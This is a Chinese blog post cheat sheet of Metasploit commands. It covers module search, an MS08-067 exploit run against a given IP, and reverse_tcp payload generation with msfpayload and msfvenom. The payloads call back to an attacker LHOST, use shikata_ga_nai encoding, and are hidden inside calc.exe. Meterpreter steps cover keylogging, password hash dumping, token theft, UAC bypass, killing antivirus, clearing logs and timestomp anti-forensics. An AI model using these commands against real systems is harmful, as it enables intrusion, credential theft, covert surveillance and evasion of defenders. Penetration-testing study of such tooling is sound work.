【漏洞利用框架】Metasploit常用命令


一、MSF终端命令
0x001、数据库初始化

初始化msf 数据库一系列操作

msfdb init
msfdb start

msfdb reinit   数据库重置,将所有数据全部清空
0x002、启动msf
msfconsole
0x003、connect
msf5 > connect 192.168.226.131 80

提交一个get请求,可以查看到服务器的版本信息
在这里插入图片描述

0x004、show
msf5 > show all          列出全部模块
msf5 > show exploits     列出渗透模块
msf5 > show payloads     列出攻击载荷模块
msf5 > show auxiliary    列出辅助模块(用来验证目标是否存在漏洞)

0x005、search
msf5 > search mysql          查找mysql相关模块
msf5 > search name:mysql     精确搜索使用name
msf5 > search path:mysql     通过路径进行搜索
msf5 > search platform:mysql 搜索更好更精确的方法
msf5 > search type:exploit   指定类型搜索模块 type:特定类型模块(exploit,payload,auxiliary,encoder,evasion,post,or nop)
msf5 > search type:exploit name:mysql    混合查找

msf5 > search cve:CVE-2017          根据CVE搜索exploit模块
msf5 > search cve:2018 name:linux   查找2018年的linux渗透漏洞模块

模块字段说明

字段解释
Name漏洞名称
Disclosure Date漏洞发布日期
Rank对目标系统的潜在影响都标记了一个Rank字段,可以基于Rank对漏洞模块进行搜索,分类及排序
Check检查
Description说明
Rank标识解释
excellent漏洞不会对让目标崩溃。没有破坏性,最好的级别
grant漏洞利用程序有一个默认的目标系统
good漏洞利用程序有一个默认的目标系统,软件类型的常见情况,(Win7,2012)
normal漏洞利用程序是可靠的,但是依赖特别版本,无法自动检测
average漏洞不可靠
low垃圾,不稳定低于50%的成功率
manual不稳定
0x006、use命令

加载使用模块的命令

语法 use [模块名]

1、找到ms_08_067模块

msf5 > search ms08_067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

2、装载ms08_067模块

msf5 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > 

3、退出模块

msf5 exploit(windows/smb/ms08_067_netapi) > back
msf5 > 

4、查看模块配置信息

msf5 > use exploit/windows/smb/ms08_067_netapi
[*] Using configured payload windows/meterpreter/reverse_tcp

msf5 exploit(windows/smb/ms08_067_netapi) > info
msf5 exploit(windows/smb/ms08_067_netapi) > show options

在这里插入图片描述

0x007、msf反弹shell后的乱码问题

在这里插入图片描述

chcp 65001
0x008、hosts

hosts列出所有渗透过的主机记录

hosts -h   查看所有字段
hosts -c address,name    查看指定字段

在这里插入图片描述

0x009、services

查看我们渗透过的主机开放了哪些服务

services -R 192.168.226.130  查看指定主机开放了什么服务
0x010、更多MSF终端命令
show exploits   列出metasploit框架中所有的渗透攻击模块

show payloads     列出metasploit框架中所有的攻击载荷

show auxiliary     列出metasploit框架中所有的辅助攻击模块

search name     查找metasploit框架中渗透攻击或者其他模块

info    展示出制定渗透攻击或模块的相关信息

use name    装载一个渗透攻击或模块

LHOST    本地可以让目标主机链接的IP地址,如果目标主机和自己不在同一个局域网内时,就需要你的公共IP地址,特别为反弹式shell使用

RHOST    远程主机或目标主机

set function    设置配置参数

setg function    以全局方式设置特定的配置参数

show options     列出某个渗透攻击或模块中所有的配置参数

show targets    列出渗透攻击所支持的目标平台

set target num    指定你所知道的目标的操作系统以及补丁版本类型

set PAYLOAD payload    指定想要使用的攻击载荷

show advanced    列出高级选项

set autorunscript migrate -f    在渗透攻击完成后,将自动迁移到另一个进程

check    检测目标是否对选定渗透攻击存在相应安全漏洞

exploit    执行渗透攻击或模块来攻击目标

exploit -j    后台进行攻击目标

exploit -z    渗透攻击成功后不与会话进行交互

exploit -e enconder    制定使用的攻击载荷编码方式(例如:exploit -e shikata_ga_nai)

exploit -h    列出exploit命令的帮助信息

sessions -l    列出可用的交互会话

sessions -l -v    列出可用的交互会话,以及会话的详细信息,例如:攻击系统时使用了哪个安全漏洞

sessions -s script    在所有活跃的Meterpreter会话中运行一个特定的Meterpreter脚本

sessions -K    杀死所有活跃的交互会话

sessions -c cmd    在所有活跃的Meterpreter会话上执行一个命令

sessions -u sessionID    升级一个普通的win 32 shell到Meterpreter shell

数据库后端命令
=========================
    命    令          描    述
    -------           -----------
    db_connect        连接到现有的数据库
    db_disconnect     断开与当前数据库实例的连接
    db_export         导出包含数据库内容的文件
    db_import         导入扫描结果文件(文件类型将被自动检测)
    db_nmap           执行nmap并自动记录输出
    db_rebuild_cache  重建数据库存储的模块高速缓存
    db_status         显示当前的数据库状态
    hosts             列出数据库中的所有主机
    loot              列出数据库中的所有战利品
    notes             列出数据库中的所有笔记
    services          列出数据库中的所有服务
    vulns             列出数据库中的所有漏洞
    workspace         在数据库工作区之间切换

导出扫描结果

msf auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak/xml   

注意:导出只支持两种格式:xml和pwddump

creds列出保存在数据库中的所有凭证
在这里插入图片描述
导入扫描结果

msf > db_import /root/bak.xml
二、Meterpreter命令
help     打开使用帮助

run scriptname    运行Meterpreter脚本,在scripts/meterpreter目录下查看所有脚本名

sysinfo    列出受控主机的系统信息

ls    列出主机的文件和文件夹信息

use priv    加载特权提升拓展模块,来扩展Meterpreter库

ps    显示所有运行进程以及关联的用户账户

migrate PID    迁移到一个指定的进程ID(PID号可通过ps命令从目标主机上获得)

use incognito    加载incognito功能(用来盗窃目标主机的令牌或是假冒用户)

list_tokens -g    列出目标主机用户的可用令牌

list_tokens -g    列出目标主机用户组的可用令牌

impersonate_token DOMAIN_NAME\\USERNAME    假冒目标主机上的可用令牌

steal_token PID    盗窃给定进程的可用令牌并进行令牌假冒

drop_token    停止假冒当前令牌

getsystem    通过各种攻击向量来提升系统用户权限

shell    以所有可用令牌来运行一个交互的shell

execute -f cmd.exe -i    执行cmd.exe命令并进行交互

execute -f cmd.exe -i -t    以所有可用令牌来执行cmd命令

execute -f cmd.exe -i -H -t    以所有可用令牌来执行cmd命令,并隐藏该进程

rev2self    回到控制目标主机的初始用户账户下

reg command    在目标主机注册表中进行交互,创建,删除,查询等操作

setdesktop number    切换到另一个用户界面

screenshot    截屏

upload file    向目标主机上传文件

download file    从目标主机上下载文件

keyscan_start    针对远程目标主机开启键盘记录功能

keyscan_dump    存储目标主机上捕获的键盘记录

keyscan_stop    停止针对目标主机的键盘记录

getprivs    尽可能多的获取目标主机上的特权

uictl enable keyboard/mouse    接管目标主机的键盘和鼠标

background    将你当前的Meterpreter shell转为后台执行

hashdump    导出目标主机中的口令哈希值

use sniffer    加载嗅探模块

sniffer_interfaces    列出目标主机所有开放的网络接口

sniffer_dump interfaceID pcapname    在目标主机上启动嗅探

sniffer_start interfaceID pcaket-buffer    在目标主机上针对特定范围的数据包缓冲区启动嗅探

sniffer_stats interfaceID     获取正在实施嗅探网络接口的统计数据

sniffer_stop interfaceID     停止嗅探

add_user username password -h ip    在远程目标主机上添加一个用户

add_group_user "Domain Admins" username -h ip    将用户添加到目标主机的域管理员组中

clearv    清除目标主机上的日志记录

timestomp    修改文件属性,例如修改文件的创建时间(反取证调查)

reboot    重启目标主机
三、MSF payload命令
msfpayload -h    MSFpayload的帮助信息

msfpayload windows/meterpreter/bind_tcp O    列出攻击载荷的配置项(任何攻击载荷都可以配置)

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe    创建一个Meterpreter的reverse_tcp攻击载荷,回连到192.168.1.5443端口,将其保存为payload.exe的Windows可执行程序

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw    生成原始格式的文件,该文件将在MSFencode中使用。

msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 C > payload.c    生成C格式的shellcode

msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 J > payload.java    生成以%u编码方式的JavaScript语言字符串

四、MSFencode命令
msfencode -h    帮助信息

msfencode -l    列出所有可用的编码器

msfencode -t (c,elf,exe,java,js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)    显示编码缓冲区的格式

msfencode -i payload.raw -o encoded_payload.exe -e -x86/shikata_ga_nai -c 5 -t exe    使用shikata_ga_nai编码器对payload.raw文件进行5次编码,然后导出一encoded_payload.exe文件

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c -5 -t raw | msfencode -e x86/shikata_ga_nai -c -5 -t exe -o multi-encoded_payload.exe    创建一个经过多种编码格式嵌套编码的攻击载荷

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c    创建一个纯字母数字的shellcode,由ESI寄存器指向shellcode,以c语言格式输出。

五、MSFcli命令
msfcli | grep exploit    仅列出渗透攻击模块

msfcli | grep exploit/windows    仅列出与windows相关的渗透攻击模块

msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E    对172.16.32.142发起ms08_067_netapi渗透攻击,配置了bind_tcp攻击载荷,并绑定在443端口进行监听
六、Metasploit高级忍术
## 创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5主机443端口上,使用calc.exe作为载荷后门程序,让载荷执行流一直运行在被攻击的应用程序中,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe

msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode  -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe

## 创建一个反弹式的Meterpreter攻击载荷,回连到192.168.1.5主机443端口上,使用calc.exe作为载荷后门程序,不让载荷执行流一直运行在被攻击的应用程序中,同时在攻击载荷执行后也不会在目标主机上弹出任何信息。这种配置非常有效,当你利用浏览器漏洞控制了远程主机,并不想让计算器程序打开呈现在目标用户面前。同样,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序payload.exe

msfpayload windows/meterpreter/bind_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe

## 创建一个raw格式的bind_tcp模式的Meterpreter攻击载荷,编码7次,输出payload.exe,同时开启多路监听方式

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -x calc.exe -k- -o payload.exe -e x86/shikata_ga_nai -c -7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
七、MSFvenom
## 创建和编码攻击载荷

msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=172.14.1.32 LPORT=443 > msf.exe

八、Meterpreter后渗透攻击阶段命令
## 在windows主机上提权

meterpreter > use priv
meterpreter > getsystem

## 在一个给定的进程ID中窃取一个域管理员组令牌,添加一个域账户,并把域账户添加到域管理员组中

meterpreter > ps
meterpreter > steal_token 1784
meterpreter > shell

## 从SAM数据库中导出密码的哈希值

meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump

提示:在windows8中,若getsystem命令和hashdump命令抛出异常,则需要迁移到一个以system系统权限运行的程序中

## 自动迁移到一个独立进程

meterpreter > run migrate

## 通过Meterpreter的killav脚本杀死目标主机上运行的杀毒软件进程

meterpreter > run killav

## 针对一个特定的进程捕获目标主机上的键盘记录

meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

## 使用匿名方式来冒充管理员

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token INAZSEURITY\\Adminstrator

## 查看目标主机上采取了哪些防护措施,列出帮助菜单,关闭防火墙以及其他我们发现的防护措施

meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
## 识别被控制的主机是否为虚拟机

meterpreter > run checkvm

## 在Meterpreter会话中使用shell

meterpreter > shell

## 获取目标主机的图形界面

meterpreter > run vnc

## 使正在运行的Meterpreter界面在后台运行

meterpreter > backgroud

## 绕过windows用户账户控制UAC机制

meterpreter > run post/windows/escalate/bypassuac

## 导出os-x系统口令哈希值

meterpreter > run post/osx/gather/hashdump

## 导出linux系统口令哈希值

meterpreter > run post/linux/gather/hashdump

往期文章:https://blog.csdn.net/weixin_44032232/article/details/108845260
参考文章:https://www.jianshu.com/p/bad2fc55beff

  • 3
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值